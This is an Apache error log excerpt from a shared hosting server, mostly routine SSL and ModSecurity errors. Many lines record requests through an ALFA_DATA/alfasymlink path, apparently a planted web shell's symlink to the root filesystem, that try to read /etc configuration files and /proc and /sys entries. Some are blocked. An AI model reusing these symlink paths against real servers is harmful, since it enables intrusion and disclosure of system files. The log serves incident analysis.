[Tue Oct 27 09:16:15.932526 2026] [ssl:error] [pid 3240166:tid 3240166] (70014)End of file found: [client 34.197.28.78:26734] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:16:27.697140 2026] [ssl:error] [pid 3238312:tid 3238312] (70014)End of file found: [client 54.197.114.76:51401] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:16:31.828543 2026] [ssl:error] [pid 3240212:tid 3240212] (70014)End of file found: [client 44.206.65.8:11257] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:16:43.824800 2026] [ssl:error] [pid 3240214:tid 3240214] (70014)End of file found: [client 3.94.156.104:39797] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:16:46.160524 2026] [proxy_fcgi:error] [pid 3238315:tid 3238315] [client 178.128.32.207:63727] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 09:16:48.061905 2026] [ssl:error] [pid 3238771:tid 3238771] (70014)End of file found: [client 34.225.24.180:25390] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:16:51.497582 2026] [core:error] [pid 3240214:tid 3240214] (13)Permission denied: [client 85.208.96.208:33420] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_struct/hwcache_align
[Tue Oct 27 09:17:03.717970 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 3.93.98.99:29332] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:17:07.949483 2026] [ssl:error] [pid 3240214:tid 3240214] (5)Input/output error: [client 34.226.89.140:34840] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:17:35.709615 2026] [ssl:error] [pid 3238770:tid 3238770] (70014)End of file found: [client 18.211.148.239:44440] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:17:43.734536 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 52.70.138.176:49983] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:17:48.687216 2026] [proxy_fcgi:error] [pid 3238770:tid 3238770] [client 188.166.94.14:50733] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 09:17:59.691609 2026] [ssl:error] [pid 3238316:tid 3238316] (70014)End of file found: [client 54.209.100.30:59359] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:18:05.481467 2026] [ssl:error] [pid 3237843:tid 3237843] (70014)End of file found: [client 34.238.45.183:20135] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:18:08.081783 2026] [ssl:error] [pid 3240238:tid 3240238] (70014)End of file found: [client 44.212.131.50:51687] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:18:15.784911 2026] [core:error] [pid 3238322:tid 3238322] (13)Permission denied: [client 52.45.92.83:26601] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/module/sections/__bug_table
[Tue Oct 27 09:18:24.067823 2026] [ssl:error] [pid 3240341:tid 3240341] (70014)End of file found: [client 44.207.207.36:41409] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:18:35.793625 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 23.21.228.180:45155] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:18:44.081935 2026] [ssl:error] [pid 3237843:tid 3237843] (70014)End of file found: [client 35.168.238.50:28931] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:18:47.727939 2026] [core:error] [pid 3240240:tid 3240240] (13)Permission denied: [client 52.207.47.227:60119] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mouse1/subsystem/input4/device/driver/serio1/driver/uevent
[Tue Oct 27 09:18:55.902893 2026] [ssl:error] [pid 3238316:tid 3238316] (70014)End of file found: [client 54.92.171.106:35648] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:19:00.178030 2026] [ssl:error] [pid 3238771:tid 3238771] (70014)End of file found: [client 85.208.96.200:52000] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:19:07.693697 2026] [ssl:error] [pid 3240170:tid 3240170] (70014)End of file found: [client 3.93.253.174:43608] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:19:15.775347 2026] [ssl:error] [pid 3240240:tid 3240240] (70014)End of file found: [client 3.212.86.97:31988] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:19:23.775883 2026] [ssl:error] [pid 3240257:tid 3240257] (5)Input/output error: [client 18.204.152.114:22278] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:19:31.724497 2026] [ssl:error] [pid 3240257:tid 3240257] (70014)End of file found: [client 52.4.76.156:35941] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:19:35.793487 2026] [ssl:error] [pid 3237888:tid 3237888] (70014)End of file found: [client 3.93.98.99:51694] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:19:39.719704 2026] [ssl:error] [pid 3238770:tid 3238770] (70014)End of file found: [client 52.203.237.170:3134] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:19:52.316322 2026] [ssl:error] [pid 3238465:tid 3238465] (70014)End of file found: [client 44.207.69.106:9244] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:19:55.948948 2026] [ssl:error] [pid 3238408:tid 3238408] (70014)End of file found: [client 3.229.164.203:64905] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:20:01.096473 2026] [security2:error] [pid 3237843:tid 3237843] [client 98.84.140.208:38728] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/index.html"] [unique_id "auClAbL0NGPtr6217jDWrQAAAAA"], referer: https://hosp2.sherwinpinturas.com/
[Tue Oct 27 09:20:01.096519 2026] [security2:error] [pid 3237843:tid 3237843] [client 98.84.140.208:38728] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/index.html"] [unique_id "auClAbL0NGPtr6217jDWrQAAAAA"], referer: https://hosp2.sherwinpinturas.com/
[Tue Oct 27 09:20:12.270335 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 34.196.114.170:57407] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:20:15.916518 2026] [ssl:error] [pid 3238770:tid 3238770] (70014)End of file found: [client 50.16.72.185:60011] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:20:19.843556 2026] [ssl:error] [pid 3240238:tid 3240238] (70014)End of file found: [client 52.70.123.241:31765] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:20:23.693871 2026] [ssl:error] [pid 3240341:tid 3240341] (70014)End of file found: [client 54.144.185.255:28198] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:20:27.683427 2026] [core:error] [pid 3238311:tid 3238311] (13)Permission denied: [client 3.220.70.171:64349] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory5/node0/memory5/subsystem/drivers_probe
[Tue Oct 27 09:21:03.779208 2026] [ssl:error] [pid 3240257:tid 3240257] (70014)End of file found: [client 52.0.218.219:10585] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:21:06.416492 2026] [security2:error] [pid 3238770:tid 3238770] [client 85.208.96.206:53088] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/src/csf/ConfigServer/CloudFlare.pm"] [unique_id "auClQtViZL_5UncwVTOXcQAAAAY"]
[Tue Oct 27 09:21:06.416552 2026] [security2:error] [pid 3238770:tid 3238770] [client 85.208.96.206:53088] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/src/csf/ConfigServer/CloudFlare.pm"] [unique_id "auClQtViZL_5UncwVTOXcQAAAAY"]
[Tue Oct 27 09:21:13.487076 2026] [core:error] [pid 3240212:tid 3240212] (13)Permission denied: [client 185.191.171.15:63992] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/cpu_slabs
[Tue Oct 27 09:21:15.715404 2026] [ssl:error] [pid 3240257:tid 3240257] (70014)End of file found: [client 50.16.248.61:43080] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:21:23.685841 2026] [ssl:error] [pid 3240239:tid 3240239] (70014)End of file found: [client 44.223.193.255:17795] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:21:31.840493 2026] [ssl:error] [pid 3240214:tid 3240214] (70014)End of file found: [client 34.235.239.240:9609] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:21:35.752532 2026] [ssl:error] [pid 3240710:tid 3240710] (70014)End of file found: [client 23.23.214.190:23540] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:21:39.702994 2026] [ssl:error] [pid 3240712:tid 3240712] (70014)End of file found: [client 52.204.253.129:26288] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:21:47.818391 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.238.45.183:9102] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory22/node0/memory0/power/"] [unique_id "auCla96XOKPJcVnECbx1IAAAABY"]
[Tue Oct 27 09:21:47.818434 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.238.45.183:9102] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory22/node0/memory0/power/"] [unique_id "auCla96XOKPJcVnECbx1IAAAABY"]
[Tue Oct 27 09:21:51.733554 2026] [proxy_fcgi:error] [pid 3240704:tid 3240704] [client 165.22.203.43:59337] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 09:21:56.001099 2026] [security2:error] [pid 3240715:tid 3240715] [client 18.215.24.66:49398] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/memory10/subsystem/drivers/"] [unique_id "auClc96XOKPJcVnECbx1IQAAABY"]
[Tue Oct 27 09:21:56.001149 2026] [security2:error] [pid 3240715:tid 3240715] [client 18.215.24.66:49398] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/memory10/subsystem/drivers/"] [unique_id "auClc96XOKPJcVnECbx1IQAAABY"]
[Tue Oct 27 09:22:00.038979 2026] [ssl:error] [pid 3240710:tid 3240710] (70014)End of file found: [client 54.152.163.42:9852] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:22:03.790434 2026] [ssl:error] [pid 3238771:tid 3238771] (70014)End of file found: [client 52.3.104.214:54622] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:22:07.990624 2026] [ssl:error] [pid 3240238:tid 3240238] (70014)End of file found: [client 3.222.85.38:9206] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:22:08.090484 2026] [security2:error] [pid 3238311:tid 3238311] [client 107.172.76.131:59363] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auClc8YLThtfGXx9TuqyewAAAAc"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 09:22:08.090530 2026] [security2:error] [pid 3238311:tid 3238311] [client 107.172.76.131:59363] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auClc8YLThtfGXx9TuqyewAAAAc"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 09:22:22.121925 2026] [security2:error] [pid 3238313:tid 3238313] [client 107.172.76.131:59357] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auClglIPfNLWYzT54QrwfwAAAAk"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 09:22:22.121984 2026] [security2:error] [pid 3238313:tid 3238313] [client 107.172.76.131:59357] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auClglIPfNLWYzT54QrwfwAAAAk"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 09:22:24.114465 2026] [ssl:error] [pid 3240238:tid 3240238] (70014)End of file found: [client 52.70.138.176:47986] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:22:27.650632 2026] [ssl:error] [pid 3240341:tid 3240341] (70014)End of file found: [client 35.171.117.160:33988] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:22:34.602503 2026] [security2:error] [pid 3238315:tid 3238315] [client 16.216.88.182:24576] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/access.conf"] [unique_id "auClmnRXwUv1lMzx7uqv4gAAAA0"]
[Tue Oct 27 09:22:34.602978 2026] [security2:error] [pid 3238315:tid 3238315] [client 16.216.88.182:24576] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/access.conf"] [unique_id "auClmnRXwUv1lMzx7uqv4gAAAA0"]
[Tue Oct 27 09:22:34.603273 2026] [security2:error] [pid 3238315:tid 3238315] [client 16.216.88.182:24576] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/access.conf"] [unique_id "auClmnRXwUv1lMzx7uqv4gAAAA0"]
[Tue Oct 27 09:22:35.846622 2026] [ssl:error] [pid 3240711:tid 3240711] (70014)End of file found: [client 54.80.185.200:51764] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:22:39.741360 2026] [ssl:error] [pid 3238316:tid 3238316] (70014)End of file found: [client 54.210.152.179:21534] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:22:47.816064 2026] [ssl:error] [pid 3240239:tid 3240239] (70014)End of file found: [client 3.211.181.86:51218] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:22:59.958364 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 44.209.187.99:28855] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:23:07.912457 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 52.6.97.88:43031] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:23:23.794210 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 34.192.67.98:47219] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:23:32.999994 2026] [security2:error] [pid 3240341:tid 3240341] [client 45.183.252.210:9513] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/resultados/refacciones-y-accesorios-para-automoviles/1"] [unique_id "auCl1BwDNH6J5KC1JpzG1wAAABQ"], referer: https://sherwinpinturas.com/debug_aguascalientes_1.html
[Tue Oct 27 09:23:40.197968 2026] [ssl:error] [pid 3237843:tid 3237843] (70014)End of file found: [client 34.224.132.215:43965] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:23:44.427229 2026] [ssl:error] [pid 3238465:tid 3238465] (70014)End of file found: [client 44.215.231.15:27872] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:24:00.516319 2026] [security2:error] [pid 3240711:tid 3240711] [client 107.172.76.131:59381] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCl2eJZi8p0kDkYalKV5AAAAAs"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 09:24:00.516400 2026] [security2:error] [pid 3240711:tid 3240711] [client 107.172.76.131:59381] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCl2eJZi8p0kDkYalKV5AAAAAs"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 09:24:35.908990 2026] [ssl:error] [pid 3240341:tid 3240341] (70014)End of file found: [client 34.225.243.131:17227] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:24:38.618317 2026] [security2:error] [pid 3238311:tid 3238311] [client 16.216.88.171:20480] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/idmapd.conf"] [unique_id "auCmFsYLThtfGXx9TuqygQAAAAc"]
[Tue Oct 27 09:24:38.618839 2026] [security2:error] [pid 3238311:tid 3238311] [client 16.216.88.171:20480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/idmapd.conf"] [unique_id "auCmFsYLThtfGXx9TuqygQAAAAc"]
[Tue Oct 27 09:24:38.619158 2026] [security2:error] [pid 3238311:tid 3238311] [client 16.216.88.171:20480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/idmapd.conf"] [unique_id "auCmFsYLThtfGXx9TuqygQAAAAc"]
[Tue Oct 27 09:24:44.831036 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 185.191.171.3:58000] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:25:08.480748 2026] [core:crit] [pid 3237888:tid 3237888] (13)Permission denied: [client 216.180.246.87:33168] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 09:25:27.845529 2026] [ssl:error] [pid 3240166:tid 3240166] (70014)End of file found: [client 52.54.249.218:63650] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:25:27.845770 2026] [security2:error] [pid 3240166:tid 3240166] [client 52.54.249.218:63650] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/memory10/node0/memory0/phys_device"] [unique_id "auCmR3KlxhCnnU-kFtZfSgAAAAo"]
[Tue Oct 27 09:25:27.845822 2026] [security2:error] [pid 3240166:tid 3240166] [client 52.54.249.218:63650] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/memory10/node0/memory0/phys_device"] [unique_id "auCmR3KlxhCnnU-kFtZfSgAAAAo"]
[Tue Oct 27 09:25:31.698177 2026] [ssl:error] [pid 3240239:tid 3240239] (70014)End of file found: [client 98.82.66.172:49184] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:25:41.597380 2026] [security2:error] [pid 3240714:tid 3240714] [client 107.172.76.131:59394] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCmSOnQkM1I2-cea2NKDgAAABI"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 09:25:41.597456 2026] [security2:error] [pid 3240714:tid 3240714] [client 107.172.76.131:59394] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCmSOnQkM1I2-cea2NKDgAAABI"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 09:25:44.193835 2026] [core:error] [pid 3237888:tid 3237888] (13)Permission denied: [client 85.208.96.193:57332] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_fib_trie/object_size
[Tue Oct 27 09:26:03.586490 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 52.71.216.196:64107] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:26:07.735407 2026] [ssl:error] [pid 3237989:tid 3237989] (70014)End of file found: [client 44.223.116.149:50087] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:26:23.464045 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 85.208.96.206:46642] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:26:23.504813 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 34.224.9.144:60069] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:26:31.511208 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 52.71.203.206:6224] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:26:35.393970 2026] [ssl:error] [pid 3240714:tid 3240714] (70014)End of file found: [client 34.231.118.144:6799] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:26:36.916430 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 185.191.171.5:55460] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:26:43.427010 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 52.203.65.83:46931] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:26:43.427509 2026] [security2:error] [pid 3238311:tid 3238311] [client 52.203.65.83:46931] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory12/node0/memory6/node0/vmstat"] [unique_id "auCmk8YLThtfGXx9TuqyhQAAAAc"]
[Tue Oct 27 09:26:43.427538 2026] [security2:error] [pid 3238311:tid 3238311] [client 52.203.65.83:46931] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory12/node0/memory6/node0/vmstat"] [unique_id "auCmk8YLThtfGXx9TuqyhQAAAAc"]
[Tue Oct 27 09:27:00.893288 2026] [security2:error] [pid 3240238:tid 3240238] [client 107.172.76.131:59404] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCmmOGCy5lWPO6S0RxpgwAAAAQ"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 09:27:00.893352 2026] [security2:error] [pid 3240238:tid 3240238] [client 107.172.76.131:59404] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCmmOGCy5lWPO6S0RxpgwAAAAQ"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 09:27:03.412577 2026] [core:error] [pid 3237989:tid 3237989] (13)Permission denied: [client 185.191.171.8:41754] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/virtio/drivers/virtio_net/uevent
[Tue Oct 27 09:27:03.564081 2026] [ssl:error] [pid 3240711:tid 3240711] (70014)End of file found: [client 100.29.63.24:24285] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:27:07.816489 2026] [ssl:error] [pid 3240898:tid 3240898] (70014)End of file found: [client 54.86.59.155:58887] AH02013: coalesce failed to read from data bucket
